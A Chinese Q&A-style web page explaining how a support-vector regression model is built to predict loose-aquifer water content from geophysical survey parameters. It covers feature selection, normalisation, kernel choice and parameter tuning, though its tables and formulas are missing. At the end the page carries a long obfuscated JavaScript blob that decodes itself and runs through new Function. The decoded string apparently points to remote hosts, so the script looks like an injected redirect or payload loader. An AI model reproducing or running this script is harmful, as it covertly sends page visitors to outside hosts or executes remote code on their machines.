预测模型建立

2025-04-04 21:05:43
推荐回答(1个)
回答(1):

松散含水层含水量预测模型的建立,主要是将预测松散含水层含水量问题转化为利用支持向量机求解的数学模型,主要包括如下4个步骤:

1)选取训练集T={(x1,y1),…,(xl,yl)}∈(χ×y)l

2)选择适当的核函数K(x,x'),如线性核函数、径向基核函数、多项式核函数和Sigmoid核函数。

3)确定支持向量机中的参数,如C,ε,γ等。

4)建立模型。

(一)训练集的选取

1.预测基本输入特征量

选取合适的训练集,对于建立松散含水层含水量预测模型是非常重要的,本课题对预测模型输入特征量的选取遵循以下原则:

1)现有物探仪器设备可测、或可转换参数,具有实用性和可观测性。

2)要与所研究地下含水层结构的综合物探方法相配套,充分挖掘所获观测数据的信息资源。

3)优化组合,兼顾所利用的输入特征量间的互补性,避免或减少冗余性。

4)保障预测模型具有广泛的推广能力。

建模时要把所有的数据分为训练集和测试集,根据训练集,求出决策函数,而用测试集测试所得决策函数的准确率。那么选择一个合适的训练集,第一要满足训练集中的样本点数量不能过多,也不能太少;第二训练集中所含特征向量不能太少,如果太少则不能够反映实际情况,影响分类或者回归的准确性,但也不能太多,否则会增加计算难度,甚至影响训练速度和时间。除了样本点多少的选择以外,还要在数据中不能选择过多的属性。属性选择要达到以下3个目的:首先是确认哪些属性与预测输出特征量相关的特性;其次是尽量降低输入空间维数,缩小求解问题的规模;最后是提高准确率,得到更好的决策函数。

基于上述原则,将支持向量机预测模型的预测输入基本特征量选定为:反演电阻率值ρ、反演含水层厚度H,半衰时Th,衰减度D,视极化率ηs,纵波速度v等地面物探观测参数作为基本输入特征量讨论。

为了验证上述输入特征量选择原则的正确性,选择了石家庄市西马庄水源地现有电测深资料与单孔单位涌水量资料并进行了秩相关性分析,原始数据见表5-1所示。分析结果如表5-2所示。

表5-1 西马庄原始数据

表5-2 西马庄电性参数与涌水量相关分析

2.综合性参数的引入

鉴于第四纪含水层一般呈高阻性,在电测深反演解释过程中易产生Th等值现象的解释误差。依据含水层的富水性对应于一定的电阻率值,而单孔单位涌水量既与含水层富水性有关,又与其厚度有关。为了尽可能消除因等值现象导致解释所产生的误差,又能使输入特征量与预测量有更为密切的相关性,使预测模型具有良好的推广能力,对此,将电测深反演后的含水层电阻率与其层厚度相乘作为一个输入特征量T',该特征量T'与含水层单孔单位涌水量相关分析结果表明,二者有更为密切的相关性,见表5-3所示。

表5-3 综合参数与涌水量相关分析

考虑到不同的地区地下水所含矿化度的不同,因其孔隙水的导电性不同,将会导致同类富水层电阻率有较大差别。为了消除孔隙水的导电性对预测精度的影响,突出含水层有效孔隙度特征,基于ρ=αΦ-ms-nρw式,引入了相对综合因子参数T″,其表达式为

含水层含水量预测综合物探技术

式中:ρf为孔隙流体的电阻率;ρt为岩石的电阻率;H为含水层厚度。

从而将原基本输入特征量ρ和H组合为一个输入特征量T″。

3.激发比的引入

考虑到激发比可以放大激电异常,对第四系含水层有更为灵敏的反应。因此将激电模型里的极化率、衰减度参量用激发比参量代替,其表达式为J=ηsD。由表5-4和表5-5可知,激发比的引入,改善了模型预测精度。

表5-4 未引入激发比模型预测结果

表5-5 引入激发比模型预测结果

4.输入特征量的归一化

由于各输入特征量的量度差异较大,在用支持向量回归机进行建模训练和使用时,有必要对输入特征量进行归一化。归一化是指将属性数据按比例缩放,使之落入一个小的特定区域,如[-1,1]或[0,1]范围内。

归一化可以帮助防止具有较大初始值域的属性与具有较小初始值域的属性相比,权重差距过大。本次所建模型采用最小-最大规范化方法:将输入特征量归一化到[0,1]范围内。归一化公式为

含水层含水量预测综合物探技术

式中:x为某个输入参数对应的值;xmin和xmax分别为该项特征量的设置最小值和最大值;xs为该输入参数的归一化值。

5.预测输入特征量的优选

在基本预测输入特征量归一化处理的基础上,需要进一步研究特征量组合结构的优化性问题,即确定预测模型最佳输入特征量的数量和成分。

通过电测深找水实践证明:

第四纪地下含水层结构对应特定的电测深异常特征,所获取的地电参数与单孔涌水量均存在着一定的对应关系,但深入研究还表明:作为预测输入量而言,每一参量与单孔涌水量间存在着不同的相关性,输入量相互之间可能还存在着冗余成分,为提高预测模型的预测精度和模型运算速度,探讨上述地电参量与地下水单孔涌水量的相关性和输入特征量的最佳组合问题,揭示地电参数与地下含水层含水量的内在关联是十分必要的,也是确定预测模型输入特征向量的基础。

鉴于地电参数与地下含水层含水量间不存在明确的函数关系,在优化分析过程中,以石家庄市西马庄水源地的已知8眼井孔的资料为基础,将现有的已知特征量参数:T″,Th,D,ηs及激发比J作为分析对象,利用高斯径向基核函数,C=1024,ε=0.5,γ=1.0和ε-SVR模型进行7+1循环式训练-预测方式。其分析结果如表5-6所示。

由表5-6所列预测精度可得到以下结论:

表5-6 特征量的优化分析表 单位:%

第一,随着特征数量的增大,其预测精度得到提高,四个特征量预测精度最好;

第二,若采用三个特征量时,其中的T″,Th,D组合最佳,其次为T″,D,ηs。以上结论对建模时输入特征量的优化筛选提供了重要的参考依据。

6.预测模型输入特征量的确定

基于上述分析,针对研究对象的尺度及精度要求,建立了4种预测模式。对于不同的预测模型,分别确定了其输入特征量。

模型一:输入特征量为含水层的反演电阻率ρ、隔水层的反演电阻率ρ、含水层厚度h、含水层层数n和井孔孔径。该模型主要用于对精度要求不高的区域水文地质调查。

模型二:输入特征量为含水层的反演电阻率ρ、隔水层的反演电阻率ρ、视极化率ηs、含水层的半衰时Th、含水层厚度h、含水层层数n和井孔孔径。该模型主要用于专门性水文地质调查。

模型三:输入特征量为含水层的反演电阻率ρ、隔水层的反演电阻率ρ、视极化率ηs、半衰时Th、衰减度D、含水层厚度h、含水层层数n和井孔孔径。该模型主要用于对精度要求较高但探测深度要求不高的地下水源评价与开发工作。

模型四:输入特征量为含水层的反演电阻率ρ、隔水层的反演电阻率ρ、视极化率ηs、纵波波速v、含水层厚度h、含水层层数n和井孔孔径。该模型主要用于对精度要求较高,探测深度较深的地下水源评价与开发工作。

(二)核函数的选择

在建立预测模型过程中,需要选择函数K(·,·),即选择一个映射Φ(·),把x所在的输入空间χ映射到另一个空间H。H是一个Hilbert空间,即可以是有限维空间也可以是无穷维空间。因此核函数方法的核心内容就是采用非线性变换Φ将n维矢量空间中的随机矢量x映射到高维特征空间,在高维特征空间中设相应的线性学习算法,由于其中各坐标分量间的相互作用只限于内积,因此不需要知道非线性变换Φ的具体形式,只要利用满足Mercer条件的核函数替换线性算法中的内积,就能得到原输入空间中对应的非线性算法。

支持向量回归机中的核函数对于预测模型的推广能力产生直接的影响,在选取核函数时,通常采用的方法有:一是利用专家的先验知识预先给定核函数;二是采用Cross-Validation方法,即在核函数选取时,分别试用不同的核函数,归纳预测误差最小的核函数就是最好的核函数。在本课题中我们采用了第二种方法进行核函数的选择。

为使确定的核函数具有最佳的预测效果,首先要对相应的核数的参数进行优化筛选。由(5-20),(5-22),(5-24)式可见,径向基核函数需要确定1个核参数,即系数γ;Sigmoid核函数需要确定2个参数,分别为:系数γ和常数r;多项式核函数需要确定3个参数,分别为:阶数d、系数γ和常数r。

在筛选过程中,将石家庄市西马庄水源地的井旁电测深成果和抽水试验数据作为研究基础,具体数据详见表5-1所示。

将其划分为两个子集,即一个训练集和一个预测验证集。由此对上述每一种核函数利用已确定的训练集进行建模参数优化筛选。具体方法为:对于径向基函数采取了交叉验证和网格搜索的方法,多项式核函数和Sigmoid核函数采用了试凑法。

试验一:径向基核函数交叉验证

对石家庄西马庄水源地8眼井作试验数据,选出7个作为训练样本,一个不参加训练的样本。再将选出的7个训练样本随机分为3组,选择其中两组进行训练,另外一组作为验证,这样一个接一个,进行3次。每次验证时,尝试所有的参数对,计算其交叉校验的平均性能MSE,最后以模型在3次验证数据上的性能平均值作为这一学习参数下的模型性能,然后循环8次,从而确定最佳参数值范围。确定的搜索范围分别为C(2-10,215),ε(2-10,23),γ(2-10,210)。为了增加搜索速度,我们步长选择的是2的指数倍。最终确定参数C=1024,ε=0.5,γ=1。

试验二:多项式核函数试凑法

借鉴试验一的分析结果,选择参数C=1024,ε=0.5。在选取核参数之前,我们需要对多项式核的阶数d做出限定,选择的阶数不易过大,如阶数太大,不仅增加了学习模型的复杂性,易出现“过拟合”现象,导致SVM的推广性能降低。因此,规定d的取值不超过4。另外对γ和r做了初步筛选,圈定了其范围分别为:γ∈[1,4];r∈[0.1,1]。然后采用阶梯式搜索分别找出最优的阶数d、系数γ和常数r;

首先进行阶数d的选择,设定参数γ=1,r=0.2;从8眼井中选出7个作为训练样本,d依次选择1、2、3、4进行训练,预测那个没有参加训练的样本,循环8次然后将预测结果进行对比。本文采用两个误差指标来衡量模型的预测效果:均方误差(MSE)和平均绝对百分比误差(MAPE),其表达式分别为

含水层含水量预测综合物探技术

式中: 为预测值;xi为实测值;N为试验次数,这里N取8。

由表5-7可以看出:当d=3或d=4时,预测精度相近,但考虑到阶数越大,学习模型的复杂性越大,因此选取d=3最佳参数。

表5-7 不同阶数多项式核函数对预测结果影响统计表

然后进行系数γ选择,设定参数d=3,r=0.2;γ依次选择1、2、3、4进行训练,然后将预测结果进行对比,可知γ=1为最佳参数(表5-8)。

表5-8 不同γ多项式核函数对预测结果影响统计表

最后进行常数r的选择,设定参数d=3,γ=1.0;r依次选择0.2、0.4、0.6、0.8和1进行训练,然后将预测结果进行对比,可知r=0.8为最佳参数(表5-9)。

表5-9 不同r多项式核函数对预测结果影响统计表

最终确定参数d=3,γ=1,r=0。

试验三:Sigmoid核函数试凑法

选取石家庄西马庄水源地8眼井作试验数据,仍借鉴试验一的分析结果,选择参数C=1024,ε=0.5。

对γ和r做了初步筛选后,确定γ为0.1;圈定r∈[0.01,1]。下边对参数r进行精细选择,设定r值分别为:0.01、0.1、0.2、0.4、0.8,从8眼井中选出7个作为训练样本,预测样本不参加训练集,经过8次循环,通过对预测结果的对比,从而确定r=0.01~0.1时预测效果最好。分析结果如表5-10所示。

表5-10 不同rSigmoid核函数对预测结果影响统计表

核函数的选择通常采用Cross-Validation法,即在核函数选取时,分别试用不同的核函数,归纳预测误差最小的核函数就是最好的核函数。

我们将石家庄西马庄8眼井的资料与北京潮白河水源地7眼井的资料组合建立新的建模集,从中任意选出14个作为训练集样本,另外1个样本组成预测集,这样进行了8组试验,通过图5-3我们看到基于RBF核函数的预测模型预测精度最高。因此我们认为利用RBF核函数建立的含水层含水量预测模型预测效果最佳。

图5-3 三种核函数预测精度对比

(三)参数确定

采用径向基核函数所建立的模型需要确定的参数共有三个,分别为核函数参数γ,惩罚系数C和松弛变量ε。

惩罚因子C为正常数,惩罚因子C决定了对超出误差ε的样本惩罚程度。从结构风险的角度考虑,C值取得过大,问题倾向于经验最小,忽略对结构复杂程度的考虑;反之则更多地考虑了问题的复杂程度,忽略了经验数据的作用。因此可以说,C是支持向量机回归和泛化能力的平衡参数。惩罚因子C取不同的常数值,对结果有不同的影响。

由表5-11可知当C值取1024和2048时预测精度相同,说明当C大于一定值时,其变化对分析结果产生的影响变小。

表5-11 不同C值对预测结果影响统计表

通过对比试验,最终取值C=1024,ε=0.5,γ=1.0。

(四)模型建立

构造并求解最优化问题

含水层含水量预测综合物探技术

得到最优解 每个支持值β=(a*i-ai)。

构造决策函数

含水层含水量预测综合物探技术

其中

将所求得的核函数系数、β值及b值带入5-44式,即为ε-SVR预测模型。

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();